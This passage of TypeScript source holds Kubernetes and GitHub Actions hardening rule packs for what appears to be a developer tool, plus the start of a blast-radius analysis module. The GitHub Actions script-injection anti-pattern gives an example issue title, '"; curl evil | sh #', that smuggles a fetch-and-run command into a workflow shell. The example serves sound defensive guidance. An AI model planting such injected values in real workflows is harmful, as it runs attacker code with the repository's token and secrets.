'openshift'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'k8s.resource-requests-limits',\n title: 'Set CPU/memory requests and memory limits on every container',\n detail:\n 'Requests drive scheduling and give the pod a QoS floor; a memory limit stops one container OOMing the node. Set requests to the steady-state need and a memory limit to a safe ceiling. Be cautious with CPU limits (they throttle) — many teams set CPU requests but omit CPU limits deliberately.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.probes',\n title: 'Define readiness, liveness, and (for slow starts) startup probes',\n detail:\n 'Readiness gates traffic so a pod only receives requests when it can serve them; liveness restarts a wedged pod; a startupProbe protects slow-booting apps from premature liveness kills. Point readiness at a real dependency-aware endpoint, not just \"process up\".',\n severity: 'high',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'k8s.security-context-restricted',\n title: 'Harden the securityContext to the \"restricted\" Pod Security Standard',\n detail:\n 'Set runAsNonRoot: true, a non-zero runAsUser, allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, capabilities.drop: [\"ALL\"], and seccompProfile.type: RuntimeDefault. Label the namespace with pod-security.kubernetes.io/enforce: restricted so violations are rejected.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.secrets-not-in-manifests',\n title: 'Keep secrets out of committed manifests',\n detail:\n 'A Kubernetes Secret is only base64-encoded, not encrypted, so never commit raw Secret YAML. Use External Secrets Operator / Sealed Secrets / the Secrets Store CSI driver to source values from a real secret manager, enable etcd encryption-at-rest, and mount secrets as files or env at runtime.',\n severity: 'critical',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'k8s.network-policy-default-deny',\n title: 'Apply default-deny NetworkPolicies and open only required flows',\n detail:\n 'By default every pod can talk to every other pod. Add a default-deny ingress/egress NetworkPolicy per namespace and then allow only the specific pod-to-pod and egress flows the workload needs, so a compromised pod cannot pivot freely.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.availability-replicas-pdb-affinity',\n title: 'Run multiple replicas with a PodDisruptionBudget and anti-affinity',\n detail:\n 'For a stateless service run >=2 replicas, add a PodDisruptionBudget (minAvailable) so voluntary disruptions (drains, upgrades) keep capacity, and spread replicas across nodes/zones with podAntiAffinity or topologySpreadConstraints.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.rolling-update-and-graceful-shutdown',\n title: 'Configure rolling updates and graceful shutdown',\n detail:\n 'Set a RollingUpdate strategy (maxUnavailable/maxSurge), a terminationGracePeriodSeconds long enough to drain, and a preStop hook (a short sleep / connection-drain) so the pod stops receiving traffic before it exits. The app must handle SIGTERM.',\n severity: 'medium',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'k8s.pin-image-digest-pull-policy',\n title: 'Pin images by digest and set an explicit imagePullPolicy',\n detail:\n 'Reference images by @sha256 digest (or an immutable tag) so a rollout is deterministic and cannot drift when a mutable tag is repushed. Set imagePullPolicy accordingly (IfNotPresent for digests) and use imagePullSecrets for private registries.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.least-privilege-rbac-sa',\n title: 'Give each workload a dedicated ServiceAccount with least-privilege RBAC',\n detail:\n 'Do not run workloads under the default ServiceAccount or grant cluster-admin. Create a per-workload SA, bind only the RBAC it needs, and set automountServiceAccountToken: false when the pod does not call the API server.',\n severity: 'high',\n appliesTo: ['config', 'auth'],\n },\n {\n id: 'k8s.hpa-autoscaling',\n title: 'Autoscale with an HPA driven by requests-based metrics',\n detail:\n 'Add a HorizontalPodAutoscaler targeting CPU/memory utilisation (or custom metrics) so replicas track load. HPA math depends on resource requests being set, so requests and the HPA target must be defined together.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'k8s.anti.no-resource-limits',\n title: 'Containers with no requests/limits',\n detail:\n 'Without requests the scheduler cannot place pods sensibly and without a memory limit one container can OOM the whole node (BestEffort QoS is evicted first). Set requests everywhere and a memory limit.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.anti.run-as-root-privileged',\n title: 'Running as root / privileged / with escalation allowed',\n detail:\n 'Default root, privileged: true, or allowPrivilegeEscalation left true gives a container near-host power on escape. Enforce runAsNonRoot, drop ALL capabilities, and forbid privilege escalation via the restricted PSS.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.anti.plaintext-secret-manifest',\n title: 'Committing Secret YAML / putting secrets in env literals',\n detail:\n 'Secret data is only base64, so committing it (or hardcoding credentials in a ConfigMap/env) exposes it in git and to anyone with read access. Source secrets from a manager via External/Sealed Secrets or CSI and enable etcd encryption.',\n severity: 'critical',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'k8s.anti.latest-image-tag',\n title: 'Deploying a :latest / mutable image tag',\n detail:\n 'A mutable tag makes rollouts non-deterministic — repushing :latest silently changes what runs, and rollbacks are unreliable. Pin by digest or an immutable release tag.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.anti.no-probes',\n title: 'No readiness probe, so traffic hits pods that cannot serve',\n detail:\n 'Without a readiness probe the Service routes to pods during startup or while a dependency is down, causing 502/503s on every deploy. Without liveness a wedged pod never restarts. Define both (plus startup for slow boots).',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.anti.flat-network-no-policy',\n title: 'No NetworkPolicy — every pod can reach every pod',\n detail:\n 'A flat cluster network lets a compromised or buggy pod reach databases and internal services it should never touch. Apply default-deny and allow only required flows.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'k8s.anti.default-sa-cluster-admin',\n title: 'Workloads on the default ServiceAccount or bound to cluster-admin',\n detail:\n 'Using the default SA (often with an automounted token) or granting broad/cluster-admin RBAC to an app means a compromised pod can drive the API server. Use per-workload SAs with minimal RBAC and disable token automount when unused.',\n severity: 'high',\n appliesTo: ['config', 'auth'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'kubernetes',\n supported: '>=1.31',\n note: 'Kubernetes 1.31+ (control plane). Pod Security Admission is GA — enforce the \"restricted\" standard via namespace labels; PodSecurityPolicy is removed.',\n },\n {\n pkg: 'kubectl',\n supported: '>=1.31',\n note: 'Keep kubectl within one minor of the cluster. Use `kubectl diff`/server-side apply and validate manifests before rollout.',\n },\n {\n pkg: 'helm',\n supported: '^3',\n note: 'Helm 3 for packaging/templating (no Tiller). Lint charts and template + diff before upgrade; or use Kustomize overlays per environment.',\n },\n {\n pkg: 'external-secrets',\n supported: '^0.10',\n note: 'External Secrets Operator (or Sealed Secrets / Secrets Store CSI) to sync secrets from a cloud secret manager instead of committing Secret YAML.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'k8s.fail.crashloopbackoff',\n signature: 'Pod status CrashLoopBackOff; restart count climbing',\n cause: 'The container exits soon after start — a bad command/config, a missing dependency, or a liveness probe killing a still-booting app.',\n fix: 'Read `kubectl logs --previous`, fix the startup error/config, add a startupProbe for slow boots, and confirm the entrypoint stays running (foreground process).',\n },\n {\n id: 'k8s.fail.oomkilled',\n signature: 'Container terminated with reason OOMKilled (exit 137)',\n cause: 'The container exceeded its memory limit (or the node ran out of memory and evicted it because no limit/request was set).',\n fix: 'Right-size the memory request/limit from observed usage, fix leaks, and set limits so a spike is contained to one pod rather than the node.',\n },\n {\n id: 'k8s.fail.imagepullbackoff',\n signature: 'Pod status ImagePullBackOff / ErrImagePull',\n cause: 'The image tag/digest does not exist, the registry is private without imagePullSecrets, or the registry is unreachable.',\n fix: 'Verify the image reference and that it was pushed, add the correct imagePullSecrets (or workload-identity registry access), and pin an existing digest.',\n },\n {\n id: 'k8s.fail.pending-unschedulable',\n signature: 'Pod stuck Pending; events show \"0/N nodes are available: Insufficient cpu/memory\" or taint mismatches',\n cause: 'No node satisfies the pod\\'s resource requests / node selectors / affinity / taints-tolerations.',\n fix: 'Lower over-large requests, add capacity or enable cluster autoscaling, and reconcile nodeSelector/affinity/tolerations with the actual node labels/taints.',\n },\n {\n id: 'k8s.fail.createcontainerconfigerror',\n signature: 'Pod status CreateContainerConfigError; event \"secret/configmap ... not found\"',\n cause: 'The pod references a Secret/ConfigMap (env or volume) that does not exist in the namespace (often ordering or a typo).',\n fix: 'Create/sync the referenced Secret/ConfigMap (via External Secrets) in the same namespace before the Deployment, and check the key names match.',\n },\n {\n id: 'k8s.fail.readiness-503',\n signature: 'Service returns 502/503 during deploys, or endpoints stay empty though pods are Running',\n cause: 'No readiness probe (traffic sent before ready) or a readiness probe that never passes, so the pod is excluded from the Service endpoints.',\n fix: 'Add/point the readiness probe at a real ready endpoint, ensure it returns 200 only when dependencies are up, and add a preStop drain so terminating pods leave the endpoints first.',\n },\n];\n\n/**\n * The Kubernetes orchestration reference pack. Matches when the detected stack\n * advertises a kubernetes/managed-cluster deployment target (language-agnostic).\n */\nexport const kubernetesPack: StackPack = {\n id: 'kubernetes-orchestration',\n name: 'Kubernetes 1.31 — workload orchestration',\n matches: (stack) => stack.deploymentTargets.some((target) => K8S_HINTS.includes(target)),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'kubectl@^1.31',\n 'helm@^3',\n 'kustomize@^5',\n 'external-secrets@^0.10',\n 'kube-score@^1.19',\n 'kubeconform@^0.6',\n ],\n versionChecks,\n setupCommands: [\n 'kubectl create namespace app',\n 'kubectl label namespace app pod-security.kubernetes.io/enforce=restricted',\n 'kubectl apply -f k8s/ --dry-run=server',\n 'helm upgrade --install app ./chart -n app',\n ],\n testCommands: [\n 'kubectl apply -f k8s/ --dry-run=server',\n 'kubeconform -strict -summary k8s/',\n 'kube-score score k8s/*.yaml',\n 'kubectl rollout status deploy/app -n app',\n ],\n qualityGates: [\n 'Every container sets CPU/memory requests and a memory limit.',\n 'Readiness and liveness probes are defined (plus a startup probe for slow-booting apps).',\n 'The securityContext meets the restricted PSS (runAsNonRoot, readOnlyRootFilesystem, drop ALL caps, no privilege escalation, seccomp RuntimeDefault) and the namespace enforces it.',\n 'No plaintext Secret YAML is committed; secrets come from a manager via External/Sealed Secrets or CSI with etcd encryption enabled.',\n 'A default-deny NetworkPolicy is in place with only required flows opened.',\n 'Stateless services run >=2 replicas with a PodDisruptionBudget and anti-affinity/topology spread.',\n 'Images are pinned by digest/immutable tag; workloads use a dedicated least-privilege ServiceAccount (token automount off when unused).',\n 'Manifests pass server-side dry-run and a policy/score check (kubeconform + kube-score) in CI.',\n ],\n securityNotes: [\n 'Kubernetes Secrets are only base64-encoded — never commit Secret YAML; source them via External Secrets / Sealed Secrets / CSI and enable etcd encryption-at-rest.',\n 'Enforce the restricted Pod Security Standard: runAsNonRoot, readOnlyRootFilesystem, allowPrivilegeEscalation:false, drop ALL capabilities, seccompProfile RuntimeDefault; never run privileged.',\n 'Apply default-deny NetworkPolicies and open only required pod-to-pod/egress flows so a compromised pod cannot pivot.',\n 'Give each workload a dedicated ServiceAccount with least-privilege RBAC (no cluster-admin) and set automountServiceAccountToken:false when the pod does not call the API server.',\n 'Pin images by digest so a repushed mutable tag cannot silently change what runs, and scan images before admission.',\n ],\n deploymentNotes: [\n 'Use a RollingUpdate strategy with a PodDisruptionBudget, a terminationGracePeriod long enough to drain, and a preStop hook so pods leave the Service endpoints before exiting; the app must handle SIGTERM.',\n 'Manage manifests with Helm or Kustomize overlays per environment, and gate rollout on `kubectl apply --dry-run=server` + kubeconform/kube-score in CI (GitOps via Argo CD/Flux for promotion).',\n 'Add an HPA driven by requests-based metrics (requests must be set) and, where relevant, cluster autoscaling for node capacity.',\n 'Prefer Workload Identity / IRSA over static cloud credentials in Secrets for pods that call cloud APIs.',\n 'Watch rollout health with `kubectl rollout status` and keep the previous ReplicaSet for fast `kubectl rollout undo`.',\n ],\n commonFailures,\n};\n","/**\n * GitHub Actions (CI/CD) reference stack pack.\n *\n * Real, current (2026) guidance for hardening GitHub Actions workflows against\n * the supply-chain and injection risks that make CI a high-value target: pinning\n * third-party actions to a full commit SHA, restricting the GITHUB_TOKEN with a\n * least-privilege `permissions:` block, authenticating to cloud with OIDC instead\n * of long-lived secrets, avoiding the pull_request_target + checkout-PR-head +\n * secrets footgun, preventing `${{ ... }}` script injection from untrusted event\n * fields, gating deploys behind protected Environments, and using concurrency\n * groups + dependency caching. Language-agnostic: keyed off a `github-actions`\n * (or generic `ci`) deployment hint.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// CI/CD is language-agnostic — match on a github-actions / generic ci hint.\nconst GHA_HINTS = ['github-actions', 'github', 'gha', 'ci', 'ci-cd'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'gha.pin-actions-to-sha',\n title: 'Pin third-party actions to a full commit SHA',\n detail:\n 'Reference actions as owner/action@<40-char-sha> (with a comment for the human-readable version) rather than a mutable @v4/@main tag. A tag can be re-pointed at malicious code; a SHA cannot. Update pins deliberately via Dependabot for actions.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'gha.least-privilege-token',\n title: 'Set a least-privilege permissions block for GITHUB_TOKEN',\n detail:\n 'Declare permissions: {} (or contents: read) at the workflow level and grant only the specific scopes a job needs (e.g. id-token: write for OIDC, contents: write only for a release job). The default token is broad; narrowing it limits what a compromised step can do.',\n severity: 'high',\n appliesTo: ['config', 'auth'],\n },\n {\n id: 'gha.oidc-not-static-secrets',\n title: 'Authenticate to cloud providers with OIDC, not long-lived keys',\n detail:\n 'Use the OIDC flow (id-token: write + the provider\\'s configure-credentials action) to mint short-lived credentials scoped to the repo/branch via a trust policy. This removes long-lived cloud access keys from repository secrets entirely.',\n severity: 'high',\n appliesTo: ['config', 'auth', 'env'],\n },\n {\n id: 'gha.avoid-script-injection',\n title: 'Never interpolate untrusted ${{ github.event.* }} into a run script',\n detail:\n 'Fields like the PR title, branch name, or issue body are attacker-controlled. Embedding ${{ github.event.pull_request.title }} directly in a run: shell line allows command injection. Pass them through an env: variable and reference \"$TITLE\" (quoted) so the shell treats them as data.',\n severity: 'critical',\n appliesTo: ['config'],\n },\n {\n id: 'gha.safe-pull-request-target',\n title: 'Do not combine pull_request_target with checking out and running PR code',\n detail:\n 'pull_request_target runs in the base repo context with secrets and a write token. Checking out the untrusted PR head and then building/running it there hands secrets and repo write to a fork. Use pull_request for untrusted code, or check out only trusted base refs and never execute PR scripts in the privileged context.',\n severity: 'critical',\n appliesTo: ['config'],\n },\n {\n id: 'gha.protected-deploy-environments',\n title: 'Gate deploys behind protected Environments',\n detail:\n 'Put deployment secrets in a GitHub Environment with required reviewers, wait timers, and branch restrictions, and target it with environment: production in the deploy job. Approvals and scoping then guard every production release.',\n severity: 'high',\n appliesTo: ['config', 'auth'],\n },\n {\n id: 'gha.concurrency-groups',\n title: 'Use concurrency groups to cancel superseded runs and serialise deploys',\n detail:\n 'Add concurrency: { group: ${{ github.workflow }}-${{ github.ref }}, cancel-in-progress: true } on PR CI to cancel stale runs, and a non-cancelling group on deploys so two releases never race to the same environment.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'gha.cache-dependencies',\n title: 'Cache dependencies with a correct, lockfile-derived key',\n detail:\n 'Use setup-node/setup-python built-in caching or actions/cache with a key hashing the lockfile (hashFiles(\\'**/pnpm-lock.yaml\\')) plus a restore-keys fallback. A key that does not change with the lockfile serves stale deps; one that never matches wastes the cache.',\n severity: 'low',\n appliesTo: ['config'],\n },\n {\n id: 'gha.pin-runner-and-matrix',\n title: 'Pin the runner image and use a matrix for coverage',\n detail:\n 'Pin runs-on to a specific image (ubuntu-24.04, not ubuntu-latest) so a runner rollout does not silently change the toolchain, and use a strategy matrix to test across Node/Python/OS versions in parallel.',\n severity: 'medium',\n appliesTo: ['config', 'test'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'gha.anti.mutable-action-tag',\n title: 'Referencing actions by a mutable tag or branch',\n detail:\n 'owner/action@v4 or @main lets the action author (or an account takeover) change what runs in your pipeline with access to your secrets and token. Pin to a full commit SHA.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'gha.anti.script-injection',\n title: 'Untrusted event data interpolated into a run: shell command',\n detail:\n 'run: echo \"${{ github.event.issue.title }}\" executes attacker-controlled content in the shell — a title of `\"; curl evil | sh #` runs arbitrary commands with your token. Route through env: and quote the variable.',\n severity: 'critical',\n appliesTo: ['config'],\n },\n {\n id: 'gha.anti.pr-target-runs-fork-code',\n title: 'pull_request_target that checks out and runs the PR head',\n detail:\n 'This is the canonical GitHub Actions RCE: the privileged pull_request_target context (secrets + write token) building/running untrusted fork code exfiltrates secrets. Never execute PR code in that context.',\n severity: 'critical',\n appliesTo: ['config'],\n },\n {\n id: 'gha.anti.write-all-token',\n title: 'Leaving GITHUB_TOKEN at broad/default write permissions',\n detail:\n 'A workflow with no permissions block (or permissions: write-all) gives every step a token that can push code, publish packages, and edit issues. Scope it down to read by default and elevate per job.',\n severity: 'high',\n appliesTo: ['config', 'auth'],\n },\n {\n id: 'gha.anti.long-lived-cloud-keys',\n title: 'Storing long-lived cloud access keys as repository secrets',\n detail:\n 'Static AWS_SECRET_ACCESS_KEY / GCP service-account JSON in secrets is a durable target that survives any single leak. Replace them with OIDC-minted short-lived credentials.',\n severity: 'high',\n appliesTo: ['config', 'env', 'auth'],\n },\n {\n id: 'gha.anti.echo-secrets',\n title: 'Printing secrets or disabling masking',\n detail:\n 'echo-ing a secret, writing it to an artifact, or structuring it so masking fails exposes it in logs that many people can read. Never output secrets; pass them only into the tools that need them.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'gha.anti.no-concurrency',\n title: 'No concurrency control, so deploys race and CI wastes runners',\n detail:\n 'Without a concurrency group, pushing twice quickly starts two deploys to the same environment (racing to a bad state) and leaves stale PR runs consuming minutes. Add concurrency groups.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'actions/checkout',\n supported: '^4',\n note: 'actions/checkout v4 (Node 20 runtime). Pin to the release commit SHA; persist-credentials:false when you do not need the token for later git operations.',\n },\n {\n pkg: 'actions/setup-node',\n supported: '^4',\n note: 'setup-node v4 with built-in dependency caching (cache: pnpm/npm). Pin by SHA and pass a node-version / node-version-file.',\n },\n {\n pkg: 'actions/cache',\n supported: '^4',\n note: 'actions/cache v4 — key off the lockfile hash with restore-keys fallbacks; v1/v2/v3 are deprecated on the runner.',\n },\n {\n pkg: 'ubuntu-runner',\n supported: 'ubuntu-24.04',\n note: 'Pin runs-on to ubuntu-24.04 rather than ubuntu-latest so a runner image rollover does not silently change the toolchain.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'gha.fail.token-permission-denied',\n signature: 'Error: \"Resource not accessible by integration\" / 403 when the workflow pushes, comments, or publishes',\n cause: 'The GITHUB_TOKEN lacked the required scope — either the repo defaults it to read-only or the workflow set a narrow permissions block without the needed scope for that job.',\n fix: 'Add the specific scope to the job (e.g. permissions: { contents: write } or packages: write, id-token: write for OIDC) rather than widening the whole workflow.',\n },\n {\n id: 'gha.fail.script-injection-rce',\n signature: 'A security review / audit flags command injection via ${{ github.event.* }} in a run step',\n cause: 'Untrusted event data (PR title, branch, issue body) was interpolated directly into a shell command, allowing arbitrary command execution.',\n fix: 'Move the value into an env: variable and reference the quoted \"$VAR\" in run:; never inline ${{ github.event.* }} into a shell line.',\n },\n {\n id: 'gha.fail.secret-empty-on-fork',\n signature: 'Secrets are empty/undefined in a workflow triggered by a pull_request from a fork',\n cause: 'By design, pull_request from a fork runs without repository secrets to protect them from untrusted code.',\n fix: 'Run untrusted validation without secrets, and handle secret-requiring steps in a separate trusted workflow (workflow_run, or a labelled/approved gate) — do not reach for pull_request_target + checkout of the PR head.',\n },\n {\n id: 'gha.fail.oidc-trust-misconfig',\n signature: 'Cloud auth fails: \"Not authorized to perform sts:AssumeRoleWithWebIdentity\" / OIDC sub claim mismatch',\n cause: 'The cloud IAM trust policy did not match the token\\'s sub/aud claims (wrong repo, ref, or audience), or id-token: write was not granted.',\n fix: 'Add permissions: { id-token: write }, and align the trust policy condition with the actual sub (repo:owner/name:ref:...) and audience the workflow presents.',\n },\n {\n id: 'gha.fail.cache-miss-or-stale',\n signature: 'Dependencies reinstall every run (cache miss) or a stale cache serves outdated packages',\n cause: 'The cache key did not include the lockfile hash (never matches, or never invalidates when deps change).',\n fix: 'Set key to include hashFiles of the lockfile with restore-keys fallbacks, or use setup-*\\'s built-in cache which derives the key correctly.',\n },\n {\n id: 'gha.fail.compromised-action',\n signature: 'Unexpected network calls / secret exfiltration traced to a third-party action referenced by tag',\n cause: 'A mutable @v/@main tag was re-pointed at malicious code (or the action account was compromised), and the pipeline ran it with access to secrets.',\n fix: 'Pin every third-party action to a reviewed commit SHA, minimise the token permissions and secrets exposed to those steps, and update pins via Dependabot after review.',\n },\n];\n\n/**\n * The GitHub Actions CI/CD reference pack. Matches when the detected stack\n * advertises a github-actions/ci deployment target (language-agnostic).\n */\nexport const githubActionsPack: StackPack = {\n id: 'github-actions-ci',\n name: 'GitHub Actions — CI/CD pipelines',\n matches: (stack) => stack.deploymentTargets.some((target) => GHA_HINTS.includes(target)),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'actions/checkout@^4',\n 'actions/setup-node@^4',\n 'actions/cache@^4',\n 'actions/upload-artifact@^4',\n 'github/codeql-action@^3',\n 'step-security/harden-runner@^2',\n ],\n versionChecks,\n setupCommands: [\n 'mkdir -p .github/workflows',\n 'gh workflow list',\n 'gh secret set EXAMPLE_SECRET',\n 'gh api repos/:owner/:repo/actions/permissions/workflow',\n ],\n testCommands: [\n 'pnpm dlx @action-validator/cli .github/workflows/*.yml',\n 'actionlint',\n 'gh workflow run ci.yml --ref \"$(git branch --show-current)\"',\n ],\n qualityGates: [\n 'Every third-party action is pinned to a full commit SHA, not a mutable tag/branch.',\n 'A least-privilege permissions block is set (workflow default read; job-scoped elevation only where needed).',\n 'Cloud authentication uses OIDC-minted short-lived credentials; no long-lived cloud keys live in repository secrets.',\n 'No untrusted ${{ github.event.* }} value is interpolated into a run: shell command (routed via env: and quoted).',\n 'No pull_request_target workflow checks out and runs untrusted PR code with secrets.',\n 'Production deploys target a protected Environment with required reviewers.',\n 'Concurrency groups cancel superseded CI runs and serialise deploys; runner images and dependency cache keys are pinned/lockfile-derived.',\n 'Workflows lint clean (actionlint) in CI.',\n ],\n securityNotes: [\n 'Pin third-party actions to a full commit SHA — a mutable @v4/@main tag can be re-pointed at malicious code that runs with your token and secrets.',\n 'Scope GITHUB_TOKEN with a least-privilege permissions block (default read, elevate per job); never leave it write-all.',\n 'Prefer OIDC for cloud auth so short-lived, repo/branch-scoped credentials replace long-lived access keys in secrets.',\n 'Treat all ${{ github.event.* }} fields as untrusted: pass them through env: and quote them; direct interpolation into run: is command injection.',\n 'Never combine pull_request_target with checkout of the PR head and secrets — that is the canonical Actions RCE; run untrusted code under pull_request without secrets.',\n 'Put deployment secrets in a protected Environment with required reviewers, and never echo secrets or write them to artifacts/logs.',\n ],\n deploymentNotes: [\n 'Trigger CI on pull_request (untrusted-safe) and deploys on push to protected branches or tags targeting a protected Environment.',\n 'Use concurrency groups: cancel-in-progress on PR CI, and a non-cancelling group on the deploy job so two releases never race the same environment.',\n 'Consider step-security/harden-runner to audit/block unexpected egress from runners, and enable Dependabot for actions to keep SHA pins current after review.',\n 'Cache dependencies with a lockfile-hash key and use a build matrix for multi-version coverage; pin runs-on to a specific image (ubuntu-24.04).',\n 'Promote artifacts (not source) between stages, and require the CI checks + environment approvals as branch-protection gates before merge/deploy.',\n ],\n commonFailures,\n};\n","/**\n * Blast-radius analysis.\n *\n * `analyzeBlastRadius` answers a single question deterministically and\n * tokenlessly: \"if these files change, what could break, and what must I prove\n * still works before shipping?\"\n *\n * Method:\n * 1. Normalise the changed files to repo-relative POSIX paths.\n * 2. Build the *radius* = every changed file that is a graph node, plus the\n * transitive `importedBy` closure of each (via `dependentsOf`). Anything in\n * the radius is a file the change can reach.\n * 3. Project the radius onto product surfaces: routes, components, api,\n * database (migration/schema) files, auth/billing flags, env vars, tests,\n * and fragile (risky) areas — all read off the already-built `ProjectGraph`.\n * 4. Derive `requiredChecks` strictly from the surfaces that are actually\n * affected (auth → auth regression test, billing → webhook signature check,\n * ...), and a `severity` = the most dangerous affected file kind, escalated\n * to at least `high` when a changed file matches a protected path.\n *\n * Pure and synchronous over an in-memory graph; the only failure paths are\n * programmer errors (a malformed graph/config or non-string changed files),\n * which throw `DevCortexError('INTERNAL')`, and a malformed protected-path glob,\n * which surfaces as the `ConfigError` thrown by `isProtected`.\n */\n\nimport * as path from 'node:path';\n\nimport type {\n BlastRadius,\n CortexConfig,\n EnvVar,\n FileNode,\n ProjectGraph,\n RiskLevel,\n RouteNode,\n} from '../domain/index';\nimport { DevCortexError } from '../domain/index';\nimport { dependentsOf } from '../graph';\nimport { isProtected } from '../policy';\n\n// --- risk ordering (local; policy/risk-order is intentionally not public) ----\n\nconst RISK_RANK: Record<RiskLevel, number> = { low: 0, medium: 1, high: 2, critical: 3 };\n\nfunction maxRisk(a: RiskLevel, b: RiskLevel): RiskLevel {\n return RISK_RANK[a] >= RISK_RANK[b] ? a : b;\n}\n\n/** Risk a single affected file contributes to overall severity, by kind. */\nfunction nodeRisk(node: FileNode): RiskLevel {\n switch (node.kind) {\n case 'migration':\n return 'critical';\n case 'auth':\n case 'billing':\n case 'middleware':\n case 'env':\n case 'schema':\n return 'high';\n case 'config':\n case 'api':\n return 'medium';\n default:\n // Anything else (page, route, component, service, lib, style, test,\n // other) is low unless it carries a security/financial token, in which\n // case the scanner already flagged it risky.\n return node.risky ? 'high' : 'low';\n }\n}\n\n// --- helpers ----------------------------------------------------------------\n\nfunction isPlainObject(value: unknown): value is Record<string, unknown> {\n return typeof value === 'object' && value !== null;\n}\n\nfunction sortedUnique(items: string[]): string[] {\n return [...new Set(items)].sort((a, b) => (a < b ? -1 : a > b ? 1 : 0));\n}\n\n/**\n * Normalise an input path (absolute or relative, POSIX or Windows) into the\n * repo-relative POSIX form used as graph node keys. Mirrors the normalisation\n * `dependentsOf` performs internally so changed-file lookups line up with it.\n */\nfunction toRepoRel(root: string, file: string): string {\n const f = file.replace(/\\\\/g, '/');\n const rootPosix = root.replace(/\\\\/g, '/').replace(/\\/+$/, '');\n let rel = f;\n if (f === rootPosix) return '';\n if (f.startsWith(`${rootPosix}/`)) {\n rel = f.slice(rootPosix.length);\n } else if (path.isAbsolute(file)) {\n rel = path.relative(root, file).split(path.sep).join('/');\n }\n return rel.replace(/^\\/+/, '').replace(/^\\.\\//, '');\n}\n\n// --- public API -------------------------------------------------------------\n\n/**\n * Compute the blast radius of a set of changed files against the project graph.\n *\n * @throws DevCortexError('INTERNAL') when `graph`, `changedFiles`, or `config`\n * is structurally invalid (defensive against non-TS callers).\n * @throws ConfigError when a configured protected-path glob is unusable\n * (propagated from `isProtected`).\n */\nexport function analyzeBlastRadius(\n graph: ProjectGraph,\n changedFiles: string[],\n config: CortexConfig,\n): BlastRadius {\n // 1. Validate inputs (cast through `unknown` so runtime guards survive even\n // when a JS caller violates the static contract).\n if (!isPlainObject(graph) || !Array.isArray((graph as { files?: unknown }).files)) {\n throw new DevCortexError('INTERNAL', 'analyzeBlastRadius: graph must be a ProjectGraph');\n }\n if (!Array.isArray(changedFiles)) {\n throw new DevCortexError(\n 'INTERNAL',\n 'analyzeBlastRadius: changedFiles must be an array of strings',\n );\n }\n const risk = isPlainObject(config) ? (config as { risk?: unknown }).risk : undefined;\n if (!isPlainObject(risk) || !Array.isArray((risk as { protectedPaths?: unknown }).protectedPaths)) {\n throw new DevCortexError(\n 'INTERNAL',\n 'analyzeBlastRadius: config must be a CortexConfig with risk.protectedPaths',\n );\n }\n\n const root = typeof graph.root === 'string' ? graph.root : '';\n const routes: RouteNode[] = Array.isArray(graph.routes) ? graph.routes : [];\n const envVars: EnvVar[] = Array.isArray(graph.envVars) ? graph.envVars : [];\n const byPath = new Map<string, FileNode>(graph.files.map((f) => [f.path, f]));\n\n // 2. Normalise changed files.\n const normalizedChanged = new Set<string>();\n for (const cf of changedFiles) {\n if (typeof cf !== 'string') {\n throw new DevCortexError(\n 'INTERNAL',\n `analyzeBlastRadius: changedFiles entries must be strings, got ${typeof cf}`,\n );\n }\n const rel = toRepoRel(root, cf);\n if (rel.length > 0) normalizedChanged.add(rel);\n }\n\n // 3. Build the radius = changed graph nodes ∪ their transitive dependents.\n const radius = new Set<string>();\n for (const cf of normalizedChanged) {\n if (byPath.has(cf)) radius.add(cf);\n for (const dependent of dependentsOf(graph, cf)) radius.add(dependent);\n }\n\n const radiusNodes: FileNode[] = [];\n for (const p of radius) {\n const node = byPath.get(p);\n if (node !== undefined) radiusNodes.push(node);\n }\n\n // 4. Project the radius onto product surfaces.\n const affectedComponents = sortedUnique(\n radiusNodes.filter((n) => n.kind === 'component').map((n) => n.path),\n );\n const affectedTests = sortedUnique(\n radiusNodes.filter((n) => n.kind === 'test').map((n) => n.path),\n );\n // Database surfaces: migration + schema files in the radius. (We cannot mine\n // table names tokenlessly without fabricating them, so the file paths are the\n // honest, deterministic representation of the affected DB surface.)\n const affectedTables = sortedUnique(\n radiusNodes.filter((n) => n.kind === 'migration' || n.kind === 'schema').map((n) => n.path),\n );\n const fragileAreas = sortedUnique(radiusNodes.filter((n) => n.risky).map((n) => n.path));\n\n const affectsAuth = radiusNodes.some((n) => n.kind === 'auth');\n const affectsBilling = radiusNodes.some((n) => n.kind === 'billing');\n\n // Routes/api via the graph's route table (file → routePath).\n const pageRoutePaths: string[] = [];\n const apiRoutePaths: string[] = [];\n const mappedApiFiles = new Set<string>();\n for (const route of routes) {\n if (!radius.has(route.file)) 